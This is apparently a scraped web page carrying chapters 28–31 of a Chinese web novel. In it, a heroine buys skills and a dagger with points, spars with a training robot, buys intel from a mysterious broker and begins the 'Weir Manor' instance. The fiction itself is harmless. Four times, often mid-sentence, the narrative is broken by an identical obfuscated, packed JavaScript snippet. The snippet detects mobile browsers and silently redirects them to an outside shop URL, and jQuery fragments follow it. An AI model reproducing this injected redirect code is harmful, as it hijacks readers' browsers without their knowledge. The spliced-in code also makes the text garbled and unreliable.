她回想起自己的“真视之瞳”,虽然还有一些能力效果没有搞清楚,但这个异能的实际效果远超单纯的视觉增强,不仅能看穿能量流动,还能在一定程度上发现弱点标记。相比之下,这个标价150积分的“千里眼”简直像个劣质品。 容目快速浏览其他异能,发现了一个比较重要的规律:越是兑换积分高、能力强大的异能,描述中标注的限制条件就越多。 比如同为火焰类异能,一个需要2000积分兑换,名叫“炽阳”的异能描述中,详细列出了能力强度、能量消耗、冷却时间、使用后的虚弱期等七条限制。而另一个只需要300积分的“火焰操控”,却只简单写着“使用者可以在一定程度上控制火焰”。 这很合理,能力越强大的异能,自然也有更多的限制来约束它,凡事皆有代价。 容目以为自己拥有1150个积分,已经算是个富人了,但当她点开那些真正强大的异能时,才发现自己错得离谱。 【时间缓流:使用者可让局部时间流速降低50%】 【限制:每日仅能使用三次,每次不超过10秒】 【价格:10万积分】 【空间切割:使用者可在特定区域制造一道空间裂缝】 【限制:需要1秒蓄能,消耗大量精神力,精神力不足者慎用,每日最多使用1次】 【价格:15万积分】 容目倒吸一口凉气,她这一千多积分,在这些真正的强悍能力面前简直微不足道。 她有些郁闷地关掉异能模块,这可真是好的买不起,差的又看不上,异能模块实在没什么适合她如今经济状况的东西。 看过了异能,容目又想点开旁边的“血脉”类看一看。刚刚触碰到这个模块,光屏上却突然弹出了一行红色的大字,正好横在容目面前,还在有规律地一闪一闪: 【您尚未获得进入该模块的权限,请继续努力】 “这个模块的进入需要权限?怎样才能获得权限?”容目扬声问道,希望之前出现过的电子音能解答她的问题。但是四周一片静寂,容目耐着性子等了两分钟,终于确定了没人理会自己。 她无奈地叹了口气,把她拉进这个结算空间,却什么都不解释,让自己两眼一抹黑地在这里胡乱摸索,也不知道副本背后的“神”是怎么想的。 既然看不了“血脉”类,那就只剩下“物品”模块还没有看了。希望物品类能有她现在可以兑换的好东西,容目暗暗期待着,触碰了光屏上浮动的“物品”二字。 接着,她眼前一花。视线再次稳定下来的时候,容目一时间没反应过来自己面前的究竟是什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039441|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一座恢弘的虚拟武器库在纯白空间中展开,一排排巨型铁架整齐地排列着,连绵不绝,一直延伸到视线的尽头。各式武器安静地悬浮在架子上,旁边浮现出它们专属的文字介绍。 容目恍惚地行走在众多架子之间,上面从冷兵器到热武器应有尽有,如果不看旁边的文字标识,她甚至认不出大部分武器的用途。 她虚虚点了一下其中一把匕首的影像,手指从中毫无阻滞地穿过,那把匕首的文字解释瞬间展开扩大: 【□□(精良)——100积分】 【建议搭配技能:精准投掷(初级)——50积分】 【精准投掷(初级):提升投掷精准度30%】 除了武器本身之外,居然还有配套的技能?容目被激起了兴趣,她在铁架间穿行,挑选自己感兴趣的武器仔细研究。几乎所有武器旁边都带有“建议搭配技能”的字样,而且随着武器品级的上升,搭配的技能也肉眼可见地变得高级了许多,但限制同样增加了。 逛了一会以后,容目看出了点门道,这些技能与异能有着显著差别。异能是某种超越人类生理极限,无法用科学解释的力量,比如隔空取物、控制火焰等等,兑换所需积分普遍偏高。而技能则是人类通过日常练习,经过严格训练可以获得的能力,比如精准投掷、格斗术,兑换积分相对较低。 而且从某种程度上说,技能和异能是同等重要的。获得异能不代表无师自通掌握了技能,比如一个获得了“巨力”异能的人,如果他本身不具备格斗能力,那么即使他拥有再大的力量,也无法弥补这一短板,甚至有可能会被精通格斗的普通人反杀。 “原来如此……”容目喃喃自语。异能就像一把绝世好剑,而技能则是剑法。空有利器而不通剑法,终究发挥不出它真正的威力,甚至容易被利器所伤。 想通了这一层,容目心里渐渐浮现出一条路径:她现在经历的副本等级太低了,得到的收益也并不多,不足以支撑她选择自己心仪的异能,而低等级的异能对她来说又没有什么意义。既然如此,不如先选择合适的技能与武器,补足自己战力不足的短板,然后慢慢攒积分,兑换那些强大的异能。 定好了方向,容目迅速行动起来,挑出了自己刚刚选定的三项技能。 【精准投掷(初级)——100积分】 【格斗术(初级)——100积分】 【急救技能(初级)——150积分】 她点击了技能旁边的红色“兑换”按钮。 【是否确认兑换】 冷冰冰的电子音立即响起。 “确认。”容目压住自己内心的兴奋,轻声回答。 【兑换成功,已扣除350积分,当前积分余额800】 电子音尽忠职守地说完这句话,再次沉默下来。 兑换的效果很明显,容目抓握了两下手掌,感受着体内充盈起来的力量。 现在她远程、近战、后勤支援三种能力兼备,这三项配合起来,能够大幅度提升容目的战斗力和存活几率。只可惜她以前没有相关基础,只能从初级开始慢慢积攒经验,再陆陆续续兑换中级和高级技能,但比起从前已经好了太多。 她轻轻呼出一口气,抬头望向绵延无边的武器架,唇角露出一抹微笑。 现在,她该去挑选一把合适的武器了。 29. 第29章 休息区 一小时后,容目盯着自己选出来的两样东西,陷入了纠结。 【破妄之刃(精良)】 【效果:拥有一定破除幻象的能力,对能量体可以造成30%额外伤害】 【建议搭配:弱点辨识、精准投掷】 【价格:450积分】 这把匕首与她的“真视之瞳”简直是绝配。她可以看见能量流动,而匕首又能对能量体造成伤害,这样的组合在实战中如果运用得当,将会发挥奇效。 而另一边……容目扭过头,看向了另一把武器。那是一把通体呈银色的弓弩,器形流畅,线条精炼,充满了锋锐的杀伤力。 【静默□□(精良)】 【效果:射击近乎无声,穿透力强,附带破障能力,弩箭可以自动回收】 【建议搭配:精准投掷】 【价格:400积分】 容目非常喜欢这把静默□□的特性,攻击无声,伤害也高,还能自动回收弩箭,完全不用担心弹药不足的问题。只有一点不足,□□不具备近战功能,不像匕首一样机动灵活。匕首既可以像刺客一样近身作战,也可以作为远程武器投掷伤敌。 容目无奈地抓了抓头发,把本就有些毛躁的头发抓得更乱了,像一个鸡窝。 如果她有足够的积分,根本就不会像现在这样纠结,直接全兑换下来就行了。但是令人悲伤的是,她没有。 “为什么都进副本了,我还是需要为钱犯愁啊!”容目将脸埋在手心里,感觉有点憋屈。 兑换完之前的三项技能以后,她手头只剩下800积分,而这两样武器加起来是850积分。区区五十积分,放在一个半小时以前她连眼睛都不会眨一下,但现在,50积分却是一个她无论如何也跨不过去的巨大障碍。 她搓了一把脸,强迫自己冷静下来,然后艰难地做出了决定: “兑换破妄之刃。” 话音落下,她最后恋恋不舍地看了一眼静默□□,在心底叹了口气,没办法,这是她目前所能做出的最好的选择了。 之前的三项技能非常有用,必须全部留下,而破妄之刃在各方面都很均衡,没有突出的短板,在没有多余积分的情况下,舍弃静默□□也就是必然了。 【兑换成功,已扣除450积分,当前积分余额350】 电子音例行公事,平平地播报了容目的积分情况。 一把纯黑色的匕首落进了容目手心,很轻,这是容目的第一个想法。它总长约摸20厘米,刃面似乎做了防反光处理,在空间顶部明亮的白光映照下也没有泛出一丝寒芒。容目将匕首轻轻放在衣角上,手腕微动,在布料上一带而过。“唰”地一声轻响,布料平滑地裂开了一道口子,飘飘悠悠地滑落在地。 这匕首很适合暗杀,容目脑海里突然冒出了这么个念头。 她轻轻抚摸匕首的手柄,触手温凉,材质类似于玉石,还雕刻着许多浮凸的繁复花纹,但握起来并不硌手。 容目手指发力,轻松地耍了个刀花,感受着刀刃划破空气的流畅感。初级格斗术发挥了作用,让这一切变得像吃饭喝水一样简单。 她小心地将匕首插在腰带里,对自己花450积分兑换回来的东西感到很满意。 该办的事都办完了,又不知道这个空间的出口在哪里,容目只能在一排排武器架之间晃悠。 她看看这、摸摸那,在各式武器间转了大半圈,在脑海中不断排列着这些武器在实战中的搭配组合,自得其乐。 正当她站在一个靠近边缘的铁架前,端详一把造型奇特的长刀时,冰冷的电子音突然在空间中响起,打破了一室寂静: 【检测到玩家已完成主要兑换】 【是否传送至休息区等待下次副本】 容目一愣,休息区?还有这种地方? 刚刚被新鲜事物吸引了大部分注意力,她还没觉得有多累,但是现在一听到休息区这三个字,隐藏起来的疲惫就开始丝丝缕缕地向上翻涌了。 她毫不犹豫地回答:“是。” 她真是迫不及待地想要休息了。 随着她的回应,周围的武器架开始变得透明,纯白空间逐渐溶解。眨眼间,她已经置身于一间装修简约的房间里。米色墙壁、印花床单、软垫座椅,巨大的衣柜里挂着许多干净的衣服,容目取下来一件比了一下,发现正好合适。衣柜旁边甚至还摆着一个原木小茶几,上面整齐地叠着一摞茶具。这里就像是一个普普通通的卧室兼会客厅,平常而温馨,处在这种环境下,让人不由自主地放松下来。 “没想到这个结算空间还怪有人情味的。”容目自己在心里开了个玩笑。 出于谨慎,她还是检查了整个房间。另一头有一个盥洗室,同样干净整洁,没什么出奇之处。盥洗室旁边还有一个房间,房间面积很大,大概有客厅的五六倍,里面摆满了各种健身和训练器材,容目甚至还在角落里发现了制式枪械和靶子。 休息好以后可以来这里锻炼,熟悉一下自己新兑换的各项技能,容目默默地安排好了接下来的日程。 这个房间和之前的纯白空间一样,也没有任何出口。这么说不太准确,因为房间内部确实有一扇紧闭的金属大门,门后不知道有什么。容目猜测这道门打开以后可以通向外界,但是她却无法验证。 因为在她第三次尝试推开这扇门的时候,电子音又发话了: 【你当前没有打开这扇门的权限,请继续努力】 权限,又是权限。这权限究竟是怎么回事?容目无奈地放下手,回到了自己的新房间里。 算了,无论怎么样,现在最重要的是睡觉,她都快要睁不开眼睛了。 她胡乱地用清水擦拭了身体,把皮肤上的灰泥和血污擦干净,又套上了衣柜里的干净睡衣,整个人立即扑向了柔软的床。 容目陷在温暖的床铺里,满足地叹了口气。干净的棉质睡衣散发着阳光般的清香,这是她在副本里想都不敢想的奢侈。 她翻了个身,把脸埋在蓬松的枕头里。连续几十个小时的生死挣扎让她的身体达到了极限,现在终于能放松下来。 这一睡就是十多个小时,以至于容目睁开眼睛的时候,一时没反应过来自己在哪里。她坐起身,盯着米色的壁纸发了一会呆,记忆慢慢回笼。 她活动活动有些麻木的肩颈,慢慢站起来,给自己倒了杯水。清凉的水流进喉咙,唤醒了她依旧有些混沌的大脑。 【真视之瞳已升至D级】 【新增效果:轨迹预判】 【你可以预判敌人未来1.5秒的动作轨迹】 听到脑海中的播报声,容目的手顿了顿,将剩下的半杯水放回茶几上。 真视之瞳升级了?这可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039442|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是意外之喜。容目当然希望自己越强大越好,在不知道接下来还会面对什么危机的前提下,任何能增强自身实力的东西她都要尽力抓住。 但是,容目的面上却没有丝毫喜色,反而只有一片凝重。 这个播报的声音不对。 进入副本的这段时间里,她几乎每天都能听见机械音冰冷的播报声,这种声音已经融入了她生活中的方方面面。发布任务、兑换物品、提醒权限……一切的一切都是由机械音引领着她完成的,那种无机质、平平板板的声音她绝对不会认错。 但是刚刚提醒她异能升级的声音却非常特殊,依然是那个机械音,可……怎么说呢,像是拥有了感情。不,这么说并不准确,应该说是另一个拥有自我意识的生物,在模仿着机械的说话方式。 而且,这句话语句中停顿的位置,还有末尾略有些轻佻的上扬,都让容目有一种隐隐的熟悉感——这个声音她肯定在哪里听过,并且给她留下了深刻印象。 究竟是在哪里听过呢……容目皱着眉头,手指轻轻点在茶几面上,凝神思索。 她进入副本满打满算也不超过四天,排查起来相对容易。容目慢慢地回想着自己进入副本以来的经历,眉头越皱越紧。 加班、便利店、王阿姨、异能……等等!她想起来了!她刚刚获得异能的时候听过这个声音! 记忆越来越清晰,她甚至想起了当时对方所说的话: 【红色标记点为玩家的能力效果之一——弱点标记,请尝试攻击标记点,会有意外惊喜哦~】 那声音冰冷、黏腻,软趴趴地贴着人的耳朵响起,即使现在回想起来,依然让容目不适地起了一身鸡皮疙瘩。这个诡异的声音之前只出现了一次,现在是第二次,但是它出现的这两次都与自己的异能息息相关。 为什么?自己的异能和它有什么关系?这东西为什么能绕过原来的电子音? 容目焦虑地咬了咬牙。任谁知道有一个这么诡异的东西藏在暗处盯着自己,第一反应都会是恐惧,她也不例外。但是恐惧解决不了任何问题,反而会自乱阵脚,让敌人有机可乘。 她深吸一口气,再慢慢吐出,强迫自己将全部心神都投注在简单的呼吸动作上。不要慌,容目,不要慌,既然这个东西能悄无声息地绕过副本运行机制和你对话,说明它自身一定很强大,绝对不是现在的你可以对抗的。况且它要是想对你动手,早就下手了,没必要等到现在。放轻松,它目前对你没有恶意。 不知道过了多久,容目终于平静下来,恐慌逐渐从血液里消散。 她还是太弱小了。与同期新人比起来,容目固然算得上是佼佼者,她拥有异能,进过两次中立区,甚至还破坏了副本最终形态的节点。但是在面临真正的威胁时,容目才意识到自己有多么无力。 她甚至不知道自己面对的是什么东西。 她在原地静静站了两分钟,消化着自己复杂的情绪,反复咀嚼刚刚体会过的无力感。 恐慌被压缩、凝练,转化成了一种冰冷而坚硬的动力。 她要变强,强到足以面对任何突如其来的危机,强到有朝一日能揭开这一切的谜底! 这股强烈的意愿在胸腔里燃烧,如同一簇蓬勃的火焰,点燃了她埋藏在灵魂深处的斗志。 容目转过身,步伐平稳地走向那个专属于她的训练室。 30. 第30章 消息商人 汗水沿着下颌线滴落,在训练室的地板上洇开深色的印记。容目调整着呼吸,感受着肌肉的酸胀与疲惫,她需要压力,需要真正的对抗来磨砺自己。 她放下手中沉重的哑铃,走到训练室中央的控制面板前。她的手指在光屏上滑动,找到了【陪练机器人】的选项,难度由低到高,她略一思索,选择了【中级难度】。 【陪练机器人(中级)已激活,请玩家做好准备】 电子音刚落,对面墙壁就无声地从中心打开,一个约摸一人高、呈流线型的银色机器人缓步走出。它没有五官,只在头部安装了一个不断扫描的红色感应器,此刻,感应器的红点正锁定在容目身上。 没有预兆,机器人率先发动攻击。它压低身形冲刺而来,速度极快,金属拳头直冲容目面门而来,带起一阵烈风。 好快!容目瞳孔微缩,真视之瞳瞬间开启。世界在她眼中变得不同,她“看”到了机器人拳头前方一道极其细微、散发着淡金色的能量线,那是它接下来1.5秒的运动轨迹! 她的大脑来不及思考,新获得的格斗术已经带动她的身体向右侧滑步,破妄之刃同时反手撩出,目标是机器人出击手臂的肘部关节——在真视之瞳的能力效果之下,那里亮起了一个明显的红色光点标记。 “锵!” 匕首与金属碰撞,发出刺耳的刮擦声。机器人手臂被隔开,动作出现了瞬间的凝滞。容目抓住机会,矮身前冲,匕首如毒蛇般刺向机器人的腹部核心区。 然而中级陪练反应同样迅速,它的另一只手臂瞬间下压,精准拍向容目的手腕,同时膝盖猛地向上顶起,攻向她暴露出的空门。 容目心头一凛,轨迹预判再次生效,电光石火间,她强行扭转身形,放弃攻击,改为向后跃出,同时将匕首横在身前格挡。 “砰!” 机器人的膝盖撞击在匕首侧面,巨大的力量让容目手臂发麻,不得不后退两步卸去冲击力。机器人得势不饶人,前冲逼近,双拳如同疾风骤雨般砸下,攻势连绵不绝。 容目凝神应对,褪去了最初的手忙脚乱,将格斗术的技巧发挥到极致,配合着真视之瞳的轨迹预判和弱点标记,在机器人密集的攻击浪潮中艰难穿梭、格挡、闪避。 经过几次试探,容目发现自己的力量完全不占优势,她不再硬碰硬,而是利用预判,灵活避开对方的攻击,手中的破妄之刃一次次精准刺向机器人的关节连接处以及缝隙薄弱点。 “嗤!” 匕首终于抓住一个空隙,深深刺入了机器人肩部的红色标记点。一阵短路的电火花爆开,机器人的左臂动作明显迟缓了一下。 有效! 容目精神一振,攻势更加凌厉。她开始尝试将预判融入到自己的攻击节奏中,利用预判引导机器人的攻势,制造更大的破绽。 战斗进入了白热化。金属碰撞声、容目急促的呼吸声、机器人运行时细微的摩擦声交织在一起,编织出了一篇略显凌乱的乐章。 容目的呼吸声越来越粗重,肌肉不堪重负地微微颤抖,她体力下滑得很严重,即使拥有了格斗术的加持,体能上的差距却不是一朝一夕间就能弥补的。 “铛!” 机械臂与匕首相撞,力道之大让容目虎口发麻,匕首脱手飞出,咣的一声撞上墙壁,又叮叮当当地落在了墙角。 【警告!警告!陪练程序自动终止!】 【检测到玩家基础体能接近阈值,建议停止训练】 【下一副本将于标准时间12小时后开启】 【副本名称:威尔庄园】 【请玩家提前做好准备】 机器人头顶的感应器红光瞬间熄灭,攻击动作被强行掐断,它恢复了待机状态,安静地听从指令走回了来时的通道。 容目走向墙角,弯腰拾起破妄之刃,胸膛剧烈起伏,汗水几乎浸透了运动服,肌肉因为过度消耗而有些使不上力气。她看着机器人消失的方向,缓缓吐出一口浊气。 实力上的差距冷漠而残酷,但这同时也为她指明了努力的方向。 她走到控制面板前,正准备查看训练数据记录复盘,毫无起伏的电子音再次响起,面板上也浮现出了相关的内容: 【是否连接至“讯息网络”,查询“威尔庄园”相关信息】 【首次登入提示:讯息网络由独立消息商人维护,提供副本背景、潜在风险及部分规则信息,需支付相应积分。信息真实性及完整性由消息商人自负,副本不予担保】 【当前可用积分:350】 【是否连接】 容目的动作顿住了。 讯息网络?消息商人? 又是全新的概念。在之前刚刚经历的“血月尸潮”副本里,她完全是摸着石头过河,甚至对副本的主线任务都一无所知。如果能提前了解一些关于“威尔庄园”的情报,哪怕真实性存疑,也多少能为她提供一些通关思路,增加她的生存几率。 权衡只在瞬息之间,她面对控制面板,声音清晰稳定,“确认连接。” 【指令已接收。正在接通讯息网络……连接中……连接成功】 【咨询副本:威尔庄园(已锁定)】 【当前在线消息商人已列出,请选择】 控制面板上浮现出一排亮起的名称选项,容目一项一项地看过去。不同的消息商人价格相差悬殊,高信誉的商人一条消息价值甚至可以达到上万积分,而信誉较低的商人报价则浮动在一百积分上下。 上万积分的消息她买不起,而过低的报价又意味着信息的可靠程度大大降低,容目谨慎地从头到尾仔细看了一圈,终于选定了自己的目标。 “选择‘安魂曲’。”容目确定了人选。 “安魂曲”应该是一个刚刚注册没多久的新晋消息商人,交易量不多,所以评分还不算太高,服务费用300积分,属于中规中矩。但是这位消息商人的交易记录却很有意思,寥寥几条评价意思都很一致——消息精准,物超所值。但这些评论却不约而同地给“安魂曲”打了低分。她翻看记录的时候还发现有一个人回购了三次“安魂曲”的消息服务,每一次评价都极高,但打分却极低。这是什么情况? 既然消息精确度高,对自己帮助很大,为什么要打低分?而且一个人有这种矛盾的行为还算好解释,可让所有人都不约而同地这么做……那一定是有原因的。 这事挺有意思。但容目没有刨根究底的兴趣,她看中的只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039443|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “安魂曲”的消息价值,别的事不在她的考虑范畴之内。 【已选择消息商人“安魂曲”,服务费用300积分,是否确认支付】 “确认。”容目回答。然后有些心疼地看着自己的积分余额从350跳转为50。 【支付成功。正在建立加密连接……连接已建立。你有五分钟咨询时间】 控制面板界面变化,屏幕右上角弹出了一个简洁的对话框,页面对容目的名称进行了加密,“安魂曲”看不到容目的真实姓名。 【安魂曲】:你想知道什么? 容目的手指在虚拟键盘上敲击,迅速打下了她之前就想好的问题。 【容目】:“威尔庄园”的副本等级、主线任务、通关条件。 【安魂曲】:D级,剧情探索类副本。主线任务通常与庄园主有关。 隔了一两秒,“安魂曲”又发来了一段文字。 【安魂曲】:这个副本等级不高,但是比较麻烦,在通关条件方面,我建议直接暴力通关,杀掉庄园主埃罗.威尔。毕竟这只是一个D级副本,没有什么特别出彩的奖励,从投入产出比来看不值得慢慢通关。 【容目】:如果不想暴力通关呢? 这次,“安魂曲”的回复时间长了一点,容目看着屏幕上的光标跳了几下,对方又发来一条消息。 【安魂曲】:那就麻烦了。找到他的实验笔记、他女儿的遗物,理解他为何堕落,引导他自我解脱……这种方式真的很耗时,没听说过有人以这种方式通关,我也只是知道大概路径。 容目看着屏幕上“没听说过有人以这种方式通关”这行字,眼神微动。 【容目】:为什么都不用走剧情的方式通关?他们不在乎最后的积分奖励吗? 【安魂曲】:正如我刚才所说,这只是一个D级副本,最后给出的物品奖励有限。虽然走剧情通关积分确实会多一些,但是也要有命拿。常规通关时间成本太高,风险却不低。在被污染的庄园里寻找特定线索,还要抵抗持续的精神侵蚀。没人想冒这个险。 右上角的倒计时开始闪烁,只剩下十秒钟的通话时间了。 容目盯着渐渐减少的时间,思考自己是否还有什么疏漏的点。屏幕上的对话框闪了闪,安魂曲发来一句话。 【安魂曲】:虽然不知道你为什么对常规通关方式这么感兴趣,但还是祝你好运。 容目挑了下眉。 【容目】:谢谢。 想了想,她又加上一句。 【容目】:祝你生意兴隆。 倒计时跳到了三秒,安魂曲发来了最后一段话。 【安魂曲】:如果你能活着回来,认为我提供的消息还比较可靠的话,麻烦你帮我评论一下。文字随意,但评分一定要尽可能低,越低越好,谢谢。 倒计时归零,对话框瞬间消失在面板上。 屏幕因为长时间没有人操作而黑了下去,映出了容目诧异的表情。原来那些极低的评分都是安魂曲自己要求的? 另一头,安魂曲也关上了消息交流界面,向后一仰靠在椅背上,盯着天花板发呆。 此刻,容目和安魂曲心里都飘过了同一句话:“真是个奇怪的人。” 31. 第31章 威尔庄园(一) “咳,容侦探?容侦探!你在听我说话吗?” 高档咖啡馆的私人包间里,容目一个激灵,醒过了神。副本的传送居然如此无声无息,她甚至没察觉到任何异样,身体就已经跨越了空间,坐在了这家咖啡馆里。 容目的指尖无意识地摩挲着温热的咖啡杯壁,迅速收敛了眼底流露出来的惊诧。她的目光状似无意地划过面前摆放着的一张精美名片,然后抬眼看向桌子对面那个穿着考究、神情却有些焦躁的中年男人。 “我在听,霍夫曼先生。”容目的声音平稳,带着令人安心的冷静,她伸出一只手,做了一个“请”的手势,“请继续。” 霍夫曼清了清嗓子,身体微微前倾,压低声音:“我们长话短说。威尔庄园的银叶草,那是高端香料市场的绝对霸主,这您应该知道。” 容目点了点头,装出一种运筹帷幄、一切尽在掌握之中的样子,等待霍夫曼的下文。 “但是近半年来,他们的供货完全中断,庄园也彻底封闭,谢绝一切访客。官方说法是‘内部整顿和技术升级’。”霍夫曼脸上露出一丝不屑,“但我们‘绿荫生物’得到了一些不太一样的消息。” 他将一个薄薄的文件夹推到容目面前,“有迹象表明,威尔庄园可能发生了严重的……生物污染事故。我们怀疑他们的核心技术出现了问题,导致了不可控的变异。” 容目打开文件夹,里面是几张航拍照片。画面上的威尔庄园笼罩在一片奇怪的灰绿色浓雾中,大部分建筑都被遮蔽得严严实实,只有最中央高大的塔形建筑群勉强露出了一个个尖顶。而另外几张照片则都是一种植物的特写,异常模糊,拍照的人似乎手抖得厉害,容目只能大致看出这种植物的叶子散发着淡淡的银光,这应该就是所谓的银叶草了。 “我们希望您进入庄园为我们探查情况。”霍夫曼紧盯着容目的眼睛,“我们需要知道里面到底发生了什么,核心技术是否真的失控了,以及……如果可能,获取一些原始样本供我们研究。” 他顿了顿,意味深长地补充:“报酬非常丰厚,足以让您下半辈子衣食无忧。但前提是,您必须带回足够有价值的信息。” 容目合上文件夹,指尖在光洁的桌面上轻轻敲击。生物污染事故?从某种程度上说,这种猜测与“安魂曲”给出的消息有一部分吻合了。 她直视霍夫曼,不置可否地微笑了一下,“霍夫曼先生,贵公司开出的条件很丰厚,我也有一定的意向,但是我并不认为这件事情应该交由侦探解决,生物污染事故是环保部门的管理范畴。” 这位霍夫曼先生高高在上惯了,字里行间都透露着自傲,根本没把她放在平等的位置上对话,一些重要的讯息也只是一带而过。 这样可不行,容目想从他身上挖出点消息来。不就是打太极嘛,她工作的时候见得多了,耳濡目染之下也学会了一点。 霍夫曼脸上的笑容僵了一下,随即像是在掩饰什么一样摆摆手,有点尴尬地说道:“官方渠道走不通。威尔庄园背景不简单,几次申请检查都被他们挡回来了。”他压低声音,面上终于带了点笑,“所以我们才需要您这样……行事灵活的专业人士。” 容目注意到了他言辞间的闪烁,指尖在文件夹上轻轻一点,“既然涉及到可能存在的生物污染,我需要了解更具体的风险。比如,这种污染是否能够预防?对人体可能造成哪些影响?贵公司应该做过初步评估吧?” 霍夫曼眼神游移,强作镇定,“都是些未经证实的传言……”他有点不情愿,但还是继续说下去:“据说庄园里的工人变得异常沉默,行为模式一成不变,像是在梦游。但我们认为那更有可能是严格管理的结果。” “梦游?”容目敏锐地抓住这个关键词,状似随意地追问,“还有没有其他异常报告?比如……植物方面的?” 这句话似乎触动了霍夫曼的某根神经,他不安地调整了下坐姿,声音压得更低:“确实有一个勘探员报告说……看到银叶草在无人触碰的情况下自行移动。不过这份报告真实性存疑,很可能只是光线造成的错觉。” 容目心中冷笑,面上却未表露出分毫。 她故作沉思,缓缓端起咖啡杯,在霍夫曼几乎要坐不住时才慢悠悠地开口:“情况比我想象的更复杂。我需要三个保障:第一,全套专业防护装备;第二,随时终止调查的权利;第三……”她向后一靠,微笑着说:“报酬再提高三成。” 虽然她并不需要副本里的钱,这里的东西再好她也带不走,但是这个时候提出加钱才是正常人的选择,她要让自己表露出一点对金钱的欲望。有欲望的人才好把控,这样做能让霍夫曼更放心。 霍夫曼明显松了口气,连忙应道:“这些都可以安排!装备早就准备好了,就放在门外的车上。” 容目啜了一口咖啡,借着氤氲的热气掩去了眼底的深思。霍夫曼答应得太过爽快,仿佛早就预料到她会提出这些条件。 “看来贵公司对这次调查势在必得。”她轻轻放下杯子,瓷杯与托盘相碰发出清脆的声响,“不过我很好奇,既然已经准备了专业装备,为什么您没有在谈话最初就提及这一点呢?” 霍夫曼的笑容再次僵硬,他的手指无意识地抹着西装裤的褶皱,还从上衣口袋里掏出了一块手帕擦汗,“这个……考虑到调查的敏感性,在商谈妥当之前,我们不想让您产生不必要的顾虑。” “原来如此。”容目若有所思地点头,话锋突然一转,“那么关于装备的来源,霍夫曼先生是否能够提供详细说明?毕竟若是使用来路不明的设备,可能会极大地影响调查结果的准确性和可靠性。” 她在威胁霍夫曼,如果对方提供的设备不足以让她的安全与健康得到保障的话,那么她自然也不会为“绿荫生物”带回任何有价值的信息。 霍夫曼额角流的汗更多了,他直接将手帕按在额头上胡乱抹了抹,“这些设备都是通过正规渠道采购的,绝对符合安全标准。至于具体细节……” “我理解,商业机密。”容目善解人意地接过话头,慢慢抽出了文件夹中那张雾气缭绕的庄园照片,“最后一个问题:如果我在调查过程中,发现情况已经严重到需要立即撤离的程度,贵公司能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039444|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提供怎样的应急支援?” 这个问题显然超出了霍夫曼的准备范畴。他张了张嘴,半晌才挤出一句:“我们会安排人员在庄园外围接应……” 容目差点笑出声来,霍夫曼的言外之意就是,对方根本就没考虑过她的死活。 “我明白了。”容目站起身,利落地收起文件夹,“具体细节我们路上再谈。现在,请您带我去看看那些装备。” 前往停车场的路上,容目默默整理着获得的信息。霍夫曼提供的消息补充了“安魂曲”所不清楚的一些背景情况,但是对庄园内部的了解却几乎没有任何实质性进展。 霍夫曼在前面带路,步履有些匆忙,似乎一点也不想和容目有更多的交流,怕她再问出什么让他难以招架的问题。 容目跟着他穿过一条装修布置精美华丽、铺着手工长绒地毯、两侧还插着时令鲜花的复古长廊,又绕过几尊镶金嵌银的巨大雕像,最后还不得不停下脚步,听着霍夫曼与相熟的绅士贵妇们寒暄了半个小时,全是些毫无营养的俏皮话。 当霍夫曼终于结束最后一段社交辞令,带着容目走进地下停车场时,他已经恢复了刚刚见面时的镇定。 “让您久等了,这些都是重要的生意伙伴。”他嘴上说着“久等”,实际上却没有任何感到抱歉的意思,只是象征性地解释了一句,随即快步走向角落里停放着的黑色加长版轿车,车中等待的司机立即迎了上来。 容目没出声,只是默默观察着这个充斥着豪车却鲜有人迹的停车场。空气中弥漫着汽油和香水混合散发出的古怪味道,几盏冷白色的顶灯在天花板上投下惨淡的光晕。 轿车后备箱缓缓抬起,露出里面摆放整齐的装备。容目上前仔细检查,发现装备确实很齐全,甚至还包含了一件全封闭式防护服,但所有防护用品上的标签都被刻意撕掉了。 “看来贵公司很注重保密工作。”容目意有所指。 霍夫曼干笑两声:“毕竟涉及商业机密。” 